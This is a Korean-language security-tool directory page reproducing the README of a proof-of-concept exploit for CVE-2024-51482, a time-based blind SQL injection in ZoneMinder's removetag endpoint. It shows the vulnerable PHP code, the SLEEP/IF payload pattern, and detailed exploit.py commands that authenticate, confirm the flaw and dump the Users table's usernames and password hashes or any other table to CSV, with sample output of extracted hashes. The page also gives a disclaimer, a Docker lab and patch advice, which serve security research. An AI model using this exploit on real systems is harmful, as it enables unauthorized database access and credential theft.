Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

ZoneMinder의 CVE-2024-51482에 대한 시간 기반 SQL 인젝션 PoC로, 재현 가능한 Docker 실험 환경과 자동화된 데이터 추출 기능을 제공합니다.

저장소 보기
764개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ZoneMinder 인증된 시간 기반 SQLi PoC - CVE-2024-51482

CVE-1 CVSS Python

⚠️ 교육 목적 및 공인된 보안 연구용입니다. 소유하지 않거나 서면 허가 없이 테스트할 권한이 없는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.


목차

  • ZoneMinder 인증된 시간 기반 SQLi PoC - CVE-2024-51482
    • 목차
    • 개요
    • 취약점 세부 정보
      • CVE-2024-51482 — 시간 기반 블라인드 SQL 인젝션
      • 근본 원인
      • 공격 흐름
    • 저장소 구조
    • 요구 사항
    • 설치
      • PoC
      • Docker 실습 환경
    • 사용법
      • 기본 동작
      • 도움말 화면
      • 명령어
      • 출력 옵션
      • 플래그 참조
  • 전체 예제
  • 참고 사항
  • Docker 실습 환경
  • 출력 예시
  • 수정 방법
    • 해당 CVE에 대하여
    • 유사한 취약점에 대하여
  • 공개 타임라인
  • 참조

  • 개요

    이 저장소는 ZoneMinder를 대상으로 하는 시간 기반 SQL 인젝션 PoC를 포함합니다.

    도구의 기능:

    • 취약점 확인
    • 데이터베이스 열거
    • 테이블 및 컬럼 검색
    • 전체 테이블 덤프
    • CSV 내보내기

    또한 안전한 테스트를 위한 완전히 재현 가능한 Docker 실습 환경을 제공합니다.


    취약점 세부 정보

    CVE-2024-51482 — 시간 기반 블라인드 SQL 인젝션

    • CVE ID: CVE-2024-51482
    • CVSS v3.1 점수: 10.0 (Critical)
    • 취약점 유형: 시간 기반 블라인드 SQL 인젝션
    • 영향받는 버전: ZoneMinder v1.37.* <= 1.37.64
    • 공격 벡터: 인증이 필요한 엔드포인트 (removetag)
    • 영향: 전체 데이터베이스 노출, 데이터 무결성 손상
    • 인증 필요: 예 (낮은 권한의 사용자로 충분)

    근본 원인

    ZoneMinder는 무료 오픈 소스 폐쇄회로 텔레비전 소프트웨어 애플리케이션입니다. 취약점은 ZoneMinder의 removetag 엔드포인트에서 입력 검증이 충분하지 않아 발생합니다. 사용자 제공 입력이 적절한 살균 또는 매개변수화 없이 SQL 쿼리에 직접 포함되어, 공격자가 악의적인 boolean 기반 SQL 페이로드를 주입할 수 있습니다. 익스플로잇은 다음을 활용합니다:

    root@kitploit:~
    SLEEP(x - IF(condition, 0, x))
    

    응답 시간을 통해 데이터를 추론합니다.

    Github 유지보수자 권고의 취약한 코드 스니펫:

    root@kitploit:~
    case 'removetag' :
        $tagId = $_REQUEST['tid'];
        dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
        $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
        $rowCount = dbNumRows($sql);
        if ($rowCount < 1) {
          $sql = 'DELETE FROM Tags WHERE Id = ?';
          $values = array($_REQUEST['tid']);
          $response = dbNumRows($sql, $values);
          ajaxResponse(array('response'=>$response));
        }
    

    공격 흐름

    root@kitploit:~
    공격자                              ZoneMinder 웹 애플리케이션
       │                                         │
       │  [인증]                                 │
       │  POST /zm/index.php                     │
       │  {username, password}                   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  200 OK + Set-Cookie: ZMSESSID=...      │  ← 인증된 세션
       │                                         │
       │  [CVE-2024-51482]                       │
       │  GET /zm/index.php                      │
       │  ?view=request&request=event            │
       │  &action=removetag&tid=<payload>        │
       │────────────────────────────────────────►│
       │                               SQL boolean 쿼리 실행
       │                               IF(조건, 지연 없음, SLEEP)
       │◄────────────────────────────────────────│
       │  지연된 응답 (시간 오라클)               │  ← 조건 추론
       │                                         │
       │  요청 반복                              │
       │  ASCII(SUBSTRING(query,pos,1))          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  시간 차이로 문자 하나씩 추출           │
       │                                         │
       │  각 문자에 대해 이진 탐색              │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  추출된 데이터 (한 번에 1문자)          │
       │                                         │
       │  SELECT Username, Password FROM Users   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  전체 데이터베이스 노출                 │
       │                                         │
       ✓  블라인드 SQLi를 통한 완전한 데이터 유출
    

    저장소 구조

    root@kitploit:~
    CVE-2024-51482/
    ├── exploit.py
    ├── README.md
    ├── requirements.txt
    ├── docker-compose.yml
    ├── .env.example
    ├── docker/
    │   ├── Dockerfile
    │   └── entrypoint.sh
    └── logs/
    

    요구 사항

    • Python 3.8+
    • requests
    • Docker 및 docker-compose (실습 환경용)

    설치

    PoC

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    pip install -r requirements.txt
    

    Docker 실습 환경

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    cp .env.example .env  # 환경 변수 설정
    docker compose up -d
    

    사용법

    기본 동작

    플래그 없이 실행하면 도구가 대상에 인증하고 취약점을 확인한 후, 취약할 경우 zm.Users 테이블에서 ID, Username, Password, Name, Email 컬럼을 덤프합니다 (dump-users 명령).

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password>
    

    도움말 화면

    root@kitploit:~
    python exploit.py -h
    

    명령어

    check

    대상이 취약한지만 확인합니다.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> check
    

    dump-users

    zm.Users 테이블에서 ID, Username, Password, Name, Email 컬럼을 덤프합니다. 명령어가 지정되지 않은 경우 기본 명령어입니다.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-users
    

    list-db

    모든 데이터베이스를 나열합니다.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-db
    

    list-tables

    지정된 데이터베이스의 테이블을 나열합니다.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
    

    list-columns

    지정된 테이블의 컬럼을 나열합니다.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
    

    dump-table

    지정된 테이블의 모든 데이터를 덤프합니다.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
    

    덤프할 컬럼을 지정할 수도 있습니다 (기본값은 전체):

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
    

    출력 옵션

    터미널 출력 비활성화

    root@kitploit:~
    --no-display
    

    CSV로 내보내기

    파일이 존재하지 않으면 생성됩니다. 이미 존재하면 새 결과가 추가됩니다.

    root@kitploit:~
    --outfile results.csv
    

    플래그 참조

    대상 및 인증

    플래그설명예제
    -t, --target대상 기본 URL-t http://localhost:8080
    -u, --user인증용 사용자 이름-u admin
    -p, --password인증용 비밀번호-p admin
    --cookie로그인 대신 기존 ZMSESSID 쿠키 사용--cookie abc123...

    핵심 명령어

    명령어설명예제
    check대상이 취약한지 테스트 (시간 기반 SQLi)check
    dump-userszm.Users 테이블 직접 덤프dump-users
    list-db모든 데이터베이스 나열list-db
    list-tables데이터베이스에서 테이블 나열list-tables --db zm
    list-columns테이블에서 컬럼 나열list-columns --db zm --table Users
    dump-table특정 테이블 덤프dump-table --db zm --table Users

    명령어 옵션

    플래그설명필수예제
    --db데이터베이스 이름예 (테이블/컬럼 작업에)--db zm
    --table테이블 이름예 (컬럼/덤프에)--table Users
    --columns덤프할 컬럼의 쉼표로 구분된 목록선택 사항--columns Username,Password

    성능 및 익스플로잇

    플래그설명기본값예제
    --threads동시 추출 스레드 수5--threads 6
    --delay시간 기반 SQLi에 사용되는 지연3--delay 2
    --no-check익스플로잇 전 취약점 확인 건너뛰기False--no-check

    출력 옵션

    플래그설명예제
    --outfile출력을 CSV 파일로 저장--outfile results.csv
    --no-display터미널 출력 비활성화--no-display

    로깅 및 표시

    플래그설명기본값예제
    -v, --verbose디버그 로깅 활성화False-v
    --log-file로그 파일 경로logs/exploit.log--log-file out.log
    --no-color컬러 출력 비활성화False--no-color

    전체 예제

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8080 \
      -u admin -p admin \
      dump-table \
      --db zm \
      --table Users \
      --columns Username,Password \
      --threads 6 \
      --delay 2 \
      --outfile dump.csv
    

    참고 사항

    • 모든 명령어는 인증(쿠키 또는 자격 증명)이 필요합니다.
    • dump-users는 zm.Users 테이블을 덤프하는 단축 명령어입니다.
    • 멀티스레딩은 추출 속도를 크게 높이지만 대상에 부하를 증가시킬 수 있습니다. 5개의 스레드와 3초 지연이 안전한 기본값입니다. 사용자 정의 값은 주의해서 사용하십시오.
    • CSV 출력은 구조화된 데이터와 단순 데이터(예: 데이터베이스 목록과 전체 테이블 덤프)를 모두 지원합니다.
    • 대상이 확실히 취약한 경우에만 --no-check를 사용하십시오.

    Docker 실습 환경

    포함된 docker-compose.yml은 취약한 ZoneMinder 인스턴스를 설정합니다.

    root@kitploit:~
    cp .env.example .env  # 환경 변수 설정
    docker compose up -d
    

    웹 인터페이스에 http://localhost:8080/(또는 사용자 정의 포트)로 접속합니다. 기본 자격 증명은 admin:admin입니다. 그런 다음 이 로컬 인스턴스에 대해 익스플로잇을 실행하여 테스트할 수 있습니다.


    출력 예시

    root@kitploit:~
    $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                       
    _________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
    \_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
    /    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
    \     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
     \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
            \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                       
    
    [∗] 대상 URL: http://localhost:8080/
    [∗] 모듈 : dump-table
    [∗] 출력이 저장될 위치: ./out.csv
    
    [∗] 사용자 이름/비밀번호 인증으로 로그인 시도 중
     🡲  자격 증명: admin:admin
    [+] admin 사용자로 성공적으로 인증됨
    
    [∗] 대상 취약점 테스트 중...
    [+] 대상이 취약한 것으로 보입니다 (응답 시간이 성공적인 인젝션을 나타냄).
    
    [∗] 테이블 zm.Users 내용 덤프 중...
    [+] 컬럼 발견: Username, Password
    [∗] 테이블의 행 수를 검색 중...
    [+] 테이블에 2개의 행이 포함되어 있습니다. 덤프 시작...
    
    [∗] 진행: 5/5 | admin
    [∗] 진행: 60/60 | $2h$12$NHZs...
    [+] 행 1 검색됨 : admin, $2h$12$NHZs...
    
    [∗] 진행: 4/4 | flag
    [∗] 진행: 60/60 | $2y$10$1Ei....
    [+] 행 2 검색됨 : flag, $2y$10$1Ei....
    
    +----------+----------------+
    | Username | Password       |
    +----------+----------------+
    | admin    | $2h$12$NHZs... |
    | flag     | $2y$10$1Ei.... |
    +----------+----------------+
    
    [+] 결과가 ./out.csv에 기록됨
    [+] 작업 완료. 안녕!
    

    수정 방법

    해당 CVE에 대하여

    • ZoneMinder v1.37.65 이상으로 업데이트하십시오. 이 버전에는 CVE-2024-51482에 대한 수정 사항이 포함되어 있습니다.

    유사한 취약점에 대하여

    • 모든 사용자 제공 데이터에 대해 적절한 입력 검증 및 살균을 구현하십시오.
    • SQL 인젝션을 방지하기 위해 매개변수화된 쿼리 또는 준비된 문을 사용하십시오.

    공개 타임라인

    • 2024-10-31: 사용자 Entropt 및 사용자 connortechnology가 ZoneMinder GitHub에서 취약점을 공개합니다.
    • 2024-11-01: 패치가 커밋됨 (ZoneMinder 저장소).
    • 2025-02-13: 버전 1.37.65가 태그됨.

    참조

    • CVE-2024-51482 상세 정보
    • NIST NVD 항목
    • ZoneMinder 공식 웹사이트
    • ZoneMinder GitHub 유지보수자 보안 권고
    • ZoneMinder GitHub의 수정 커밋
    • OWASP SQL 인젝션 방지 치트 시트
    도구 다운로드